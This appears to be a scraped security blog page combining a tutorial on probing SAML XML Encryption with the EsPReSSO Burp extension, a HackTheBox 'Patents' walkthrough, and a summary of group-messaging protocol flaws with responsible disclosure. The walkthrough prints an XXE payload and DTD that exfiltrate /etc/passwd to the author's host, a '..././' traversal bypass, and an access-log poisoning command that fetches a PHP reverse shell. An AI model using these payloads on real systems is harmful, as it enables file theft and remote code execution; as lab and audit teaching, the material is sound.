Joyce Sat

joycedotgdotsat

Security Assertion Markup Language (SAML) is an XML-based standard commonly used in Web Single Sign-On (SSO) [1]. In SAML, the confidentiality of transferred authentication statements against intermediaries can be provided using XML Encryption [2]. However, implementing XML Encryption in a secure way can be tricky and several attacks on XML Encryption have been identified in the past [3] [4]. Therefore, when auditing a SAML endpoint, one should always consider testing for vulnerabilities in the XML Encryption implementation.

This blog post introduces our latest addition to the SAML Attacker of our BurpSuite extension EsPReSSO: the Encryption Attack tab. The new tab allows for easy manipulation of the encrypted parts within intercepted SAML responses and can, therefore, be used to quickly assess whether the SAML endpoint is vulnerable against certain XML Encryption attacks.

Weaknesses of XML Encryption

Implementations of XML Encryption can be vulnerable to adaptive chosen ciphertext attacks. This is a class of attacks in which the attacker sends a sequence of manipulated ciphertexts to a decryption oracle as a way to gain information about the plaintext content.

Falsely implemented XML Encryption can be broken using:

an attack against the CBC-mode decryption (quite similar to a padding oracle attack) [3] or
a Bleichenbacher attack against the RSA-PKCS#1 encryption of the session key [4].

SAML makes use of XML Encryption and its implementations could, therefore, also be vulnerable to these attacks.

XML Encryption in SAML

To support confidential transmission of sensitive data within the SAML Assertion, assertions can be encrypted using XML Encryption. An EncryptedAssertion is shown in the abridged example below.

The EncryptedAssertion contains an EncryptedData element, which in turn is the parent of the EncryptionMethod, KeyInfo, and CipherData elements. SAML makes use of what is referred to as a hybrid encryption scheme. This is done using a session key which symmetrically encrypts the payload data (the example uses AES-128 in CBC mode), resulting in the ciphertext contained in the EncryptedAssertion/EncryptedData/CipherData/CipherValue child element. The session key itself is encrypted using an asymmetric encryption scheme. In our example, RSA-PKCS#1.5 encryption is used with the public key of the recipient, allowing the contents of the the EncryptedKey child element to be derived from the KeyInfo element.

Encryption Attacker

Our BurpSuite extension EsPReSSO can help detect vulnerable implementations with the newly integrated Encryption Attacker within EsPReSSO's SAML module.

Once a SAML response which contains an EncryptedAssertion has been intercepted, open the SAML tab, select the Attacks pane, and choose Encryption from the dropdown menu. This works in Burp's Proxy, as well as in the Repeater tool, and is depicted below.

As sketched out above, the symmetric session key is encrypted using the recipient's public key. Since the key is public, anybody can use it to encrypt a selected symmetric key and submit a valid encryption of arbitrary messages to the recipient. This is incredibly helpful because it allows us to produce ciphertexts that decrypt the chosen plaintexts. To accomplish this, one can purposefully send invalidly padded messages, or messages containing invalid XML, as a method to trigger and analyze the different reactions of the decryption endpoint (i.e, turning the endpoint into a decryption oracle). To facilitate these investigations, the new Encryption Attacker makes this process dead simple.

The screenshot above shows the essential interface of the new encryption tab:
At the top, the certificate used to encrypt the symmetric session key can be pasted into the text field. This field will be pre-filled automatically if the intercepted SAML message includes a certificate in the KeyInfo child element of the EncryptedData element. The Update Certificate checkboxes above the text area can be used to include the certificate in the manipulated SAML message.
In the Symmetric Key text field, the hexadecimal value of the symmetric session key can be set. Choose the asymmetric algorithm from the dropdown menu and click Encrypt key -- this will update the corresponding KeyInfo elements of the intercepted SAML message.

The payload in the text area labeled XML data can now be entered. Any update in the XML data field will also be reflected in the hexadecimal representation of the payload (found on right of the XML data field). Note that this is automatically padded to the blocklength required by the symmetric algorithm selected below. However, the payload and the padding can be manually adjusted in the hex editor field.

Eventually, click the Encrypt content button to generate the encrypted payload. This will apply the changes to the intercepted SAML message, and the manipulated message using Burp's Forward or Go button can now be forwarded, as usual.

Probing for Bleichenbacher Oracles

Bleichenbacher's attack against RSA-PKCS1 v1.5 encryption abuses the malleability of RSA to draw conclusions about the plaintext by multiplying the ciphertext with adaptively chosen values, and observing differences in the received responses. If the (error-) responses differ for valid and invalid PKCS1 v1.5 ciphertexts, Bleichenbachers' algorithm can be used to decrypt the ciphertext without knowing the private key [6].

To determine whether or not a SAML endpoint is vulnerable to Bleichenbacher's Attack, we simply need to check if we can distinguish those responses received when submitting ciphertexts that are decrypted into invalidly formatted PKCS1 v1.5 plaintexts, from the responses we receive when sending ciphertexts that are decrypted into validly formatted plaintexts.

Recall that PKCS1 v1.5 mandates a certain format of the encrypted plaintext, namely a concatenation of a BlockType 00 02, a randomized PaddingString (PS) that includes no 00 bytes, a 00 (NULL-byte) as delimiter, and the actual plaintext message. The whole sequence should be equal in size to the modulus of the RSA key used. That is, given the byte length k of the RSA modulus and the message length |m|, PS has the length |PS| = k - 3 - |m|. Furthermore, PKCS1 v1.5 demands that |PS| to be at least eight bytes long [5].

In SAML, the recipient's public key is usually known because it is published in the metadata, or even included in the EncryptedAssertion. For this reason, we do not need to fiddle around with manipulated ciphertexts. Instead, we simply submit a validly formatted RSA-PKCS1 v1.5 encrypted message and an encrypted message which deciphers into an invalidly formatted plaintext. As an example, assume an RSA public key of 2048 bits which we want to use to encrypt a 16 byte session key `01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10` (hexadecimal representation). |PS|$ is $2048/8 - 3 - 16 = 237, so a valid PKCS1 v1.5 plaintext, ready to be encrypted using `AA` for all 237 padding bytes, could look like the listing shown below.

00 02 AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 00
01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10

In the Encryption attack pane of EsPReSSO, ensure that the correct public key certificate has been added to the Certificate field. Insert a valid plaintext, such as the one above, into the Symmetric Key field and select Plain RSA encryption from the Algorithm drop down menu. Click the Encrypt button to compute the RSA transformation and apply the new EncryptedKey element to the intercepted SAML message. Now, submit the message by clicking Burp's Go or Forward button and carefully inspect the response.

Next, repeat the steps outlined above, but this time submit an invalid PKCS1 v1.5 message. For example, consider using an invalid BlockType of `12 34` instead of `00 02`, or replace the `00` delimiter so that the decryptor is unable to determine the actual message after decrypting the ciphertext. If you are able to determine from the recieved responses whether or not the submitted ciphertext decrypted into a valid PKCS1 v1.5 formatted plaintext, chances are high that the decryptor can be used as a Bleichenbacher oracle. Don't forget to take into account the actual XML data, i.e., the assertion encrypted with the new session key; by submitting valid or invalid XML, or by removing signatures from the SAML message or the assertion you may increase your chances of detecting differences in the returned responses.

Probing for Oracles in CBC-Mode Decryption

Another known attack on XML Encryption is aimed at the Cipher Block Chaining (CBC) mode, which can be used with the block ciphers AES or 3DES [2]. The attack is described in detail in this referenced paper [3] and is quite similar to Padding-Oracle attacks on CBC mode; the malleability of CBC mode encryption enables the attacker to perform a bytewise, adaptive manipulation of the ciphertext blocks which are subsequently sent to the decryptor. In most cases, the manipulated ciphertext will not decrypt to valid XML and an error will be returned. Sometimes, however, the plaintext will be parsed as valid XML, in which cases an error is thrown later on at the application layer. The attacker observes the differences in the responses in order to turn the decryptor into a ciphertext validity oracle which can be used to break the encryption. Due to some particularities of the XML format, this attack can be very efficient, enabling decryption with about 14 requests per byte, and it is even possible to fully automate the process [7].

In order to determine if a particular SAML service provider is vulnerable to this attack, we can avoid the cumbersome ciphertext manipulation, if we are in possession of the decryptor's public key:
In the Encryption Attacker tab of EsPReSSO, add the public key certificate to the Certificate field (if necessary) and insert a symmetric key of your own devising into the Symmetric Key text field. Select an appropriate RSA encryption method and click the Encrypt button to apply the new EncryptedKey element to the original SAML message.

An XML message can now be inserted into the XML data text field. Select a CBC mode encryption algorithm and click Encrypt to apply the changes. As in the example above, press Burp's Go or Forward button to send the message and carefully inspect the response. Try sending invalid XML, e.g., by not closing a tag or using the `&` character without a valid entity and keep an eye open for differences in the returned responses. To manipulate the padding, the text field on the right side shows the hexadecimal representation of the plaintext, including the CBC padding. If you send a single block and set the last byte, which indicates the padding length to the blocksize, i.e. 16 or 0x10 for AES, the ciphertext should decrypt into an empty string and is generally considered "valid" XML.

Please refer to the original paper for more details, tips, and tricks for performing the actual attack [3].

Summary

The new XML Encryption attacker included in EsPReSSO can help security auditors to quickly assess if a SAML endpoint is vulnerable to known attacks against XML Encryption. To this end, the decryptor's public key is used in order to send suitable test vectors that can be provided in plaintext. Ciphertext manipulation is, therefore, not required. The actual process of decrypting an intercepted SAML message is, however, considered out of scope and not implemented in EsPReSSO.

In case you wonder how XML Encryption can be used in a secure fashion, here are some considerations [6]:

Always use an authenticated encryption mode such as AES-GCM instead of the CBC-mode encryption.
Using RSA-PKCS1 v1.5 within XML Encryption is particularly difficult to do in a secure manner, and it is recommended to use RSA with Optimal Asymmetric Encryption Padding (OAEP) instead [2].
Apply a digital signature over the whole SAML response, and ensure it is properly validated before attempting to decrypt the assertion. This should thwart the attack as a manipulated response can be recognized as such and should be rejected.

----------

[1] https://www.oasis-open.org/standards#samlv2.0
[2] https://www.w3.org/TR/xmlenc-core/
[3] https://www.nds.ruhr-uni-bochum.de/research/publications/breaking-XML-Encryption/
[4] https://www.nds.ruhr-uni-bochum.de/research/publications/breaking-XML-Encryption-pkcs15/
[5] https://link.springer.com/chapter/10.1007%2FBFb0055716
[6] http://www.w3.org/2008/xmlsec/papers/xmlEncCountermeasuresW3C.pdf
[7] https://web-in-security.blogspot.com/2015/05/how-to-attack-xml-encryption-in-ibm.html

Read more

joycedotgdotsat

In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.

XML External Entity Attack

Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."

What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.

After uploading the file we get a Download option to download the pdf file that was created from our docx file.

As can be seen, the functionality works as expected.

Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.

Extract the docx file.
Embed our payload in the extracted files.
Archive the file back in the docx format.
Upload the file on the server.

To extract the docx file we will use the unzip Linux command line tool.

mkdir doc
cd doc
unzip ../sample.docx

Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.

mkdir customXml
cd customXml
vim item1.xml

Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>">

What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.

zip -r sample.docx *

here -r means recursive and * means all files sample.docx is the output file.

Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.

Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:

python -m SimpleHTTPServer 8090

and then upload the file to the server and see if it works.

We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.

Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:

cat passwd.64 | base64 -d > passwd

looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.

LFI to RCE

Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:

http://10.10.10.173/getPatent_alphav1.0.php

We can use the id parameter to view the uploaded patents like this:

http://10.10.10.173/getPatent_alphav1.0.php?id=1

The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.

Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././etc/passwd

Wohoo! we got it but now what? To get an RCE we will check if we can access the apache access log file

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log

As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.

Lets setup our reverse shell listener:

nc -lvnp 9999

and then perfrom a request to the target server with our php code like this:

curl "http://10.10.10.173/<?php system('curl\$\{IFS\}http://10.10.14.56:8090/shell.php');?>"

and lastly lets access the apache access.log file via the LFI on the target server:

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log3

Boom! we have a shell.

That's it for today's article see you next time.

References

OpenXML in word processing – Custom XML part – mapping flat data - https://blogs.sap.com/2017/04/24/openxml-in-word-processing-custom-xml-part-mapping-flat-data/
PayloadsAllTheThings - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-oob-with-dtd-and-php-filter
php-reverse-shell - https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Our Aim and What We Were Looking For

End-to-end encryption protects the confidentiality of communication that is forwarded via central servers to the designated receivers. As a consequence, neither parties on the network route of the messages, nor the provider of the central server (e.g. the WhatsApp server) should be able to read any information out of the observation of the communication. In particular, no other user of the application should have access to the communication. Further it might be desirable to require that also the messages' integrity is end-to-end protected and that a sender is informed about the delivery state of sent messages.

Delivery state information in Signal (upper screenshot) and WhatsApp (lower screenshot)

In a two party scenario, this analysis is rather fixed to two components of the protocol: the key establishment between both parties and the communication channel protection using the established key (mostly consisting of an encryption algorithm and a scheme for providing integrity like MACs or signature schemes).

Regarded attackers

In a group setting, the same attackers apply (network, provider, other users). However the requirements for secure communication differ. It is further necessary that only group members can write to and read content from the group. Additionally, only administrators of the group are able to add new members.

In addition to these standard requirements, we also evaluated the protocols' security guarantees if the client's secrets were revealed (forward secrecy and future secrecy).

Our Approach

We analyzed the mentioned protocols by reading the source code and debugging the apps. We also used alternative open source implementations of Threema and WhatsApp as a help and we traced the network traffic. When using alternative implementations, we only took incoming traffic into account, which was generated by official applications. Thereby we extracted the protocol descriptions and evaluated them regarding the defined requirements.

Our Findings

In WhatsApp and Threema, the provider was able to manipulate the set of members. Threema only allowed the provider to rewind the set of members to a previous state. As a consequence previously removed members could have been added to the group again. The WhatsApp provider is able to arbitrarily manipulate the member set. Thereby further members and administrators can be added to the group. Since the authenticity of group manipulation is not protected, the WhatsApp provider can set the real group administrator as the source of manipulation even though this administrator was not active.

Since Signal's key exchange protocol provides future secrecy, we also evaluated the protocol's ability to recover into a secure group state after a member's state was compromised. The essential weakness here is that a sender only needs to know the static group ID to send a message to the group. If a group member receives a message with the correct group ID, no verification regarding the current member set takes place but the message is directly added to the group communication. Consequently it is sufficient to retrieve the group ID in order to send messages to the group. Since Signal treats content messages the same way as messages for the manipulation of the group set, an attacker who knows the group ID can add herself to the group and thereby read the subsequent group communication.

In addition to this, in all cases the delivery state of sent messages was not securely provided. Threema's group chats do not inform the sender about the delivery state while Signal and WhatsApp do not protect the delivery information on the end-to-end layer. Therefore the central provider can forge this information and drop messages without letting the communicating parties detect this.

Also the order of messages was manipulable for the providers of the applications such that the provider is able to deliver the messages in a different order than they were sent. Threema's weakness of rewinding a group state results from missing replay attack protection.

Impact of Weaknesses

Even though end-to-end encryption is implemented in all analyzed applications, the central providers can largely manipulate the communication in groups and partially also read it.
In all applications, the provider can undetectably drop and reorder messages during the delivery and thereby manipulate the view of the communication such that further attacks can be obfuscated.
The central servers of WhatsApp can be used to add arbitrary users to groups and thereby receive their communication.
To achieve the same result for Signal, it suffices to retrieve the group ID. An earlier member who left the group once still knows this ID since it is static. However, in contrast to WhatsApp, the origin of the manipulation is correctly displayed in the Signal application (which was not the fact when we started our analysis).

As a result, the end-to-end protection of WhatsApp is not sufficient to reach confidentiality in groups. For Signal no future secrecy is reached in groups and Threema was vulnerable to replay attacks which resulted in further weaknesses.

Responsible Disclosure

We disclosed our findings to the developers and received varying response. Threema updated their protocol in version 3.14 such that our attacks are not feasible anymore. Moxie Marlinspike responded that Signal is "working on an entirely new group mechanism that we should be deploying soon". WhatsApp did not hold out the prospect of fixing the described vulnerabilities (Update 01/18: According to Facebook's Security Head, the invite links make a fix more difficult [1]; we proposed a way to solve this issue [2]).

[1] https://twitter.com/alexstamos/status/951169036947107840
[2] https://web-in-security.blogspot.de/2018/01/group-instant-messaging-why-baming.html

Joyce Sat

Followers

Blog Archive

About Me

Saturday, August 29, 2020

Probing For XML Encryption Weaknesses In SAML With EsPReSSO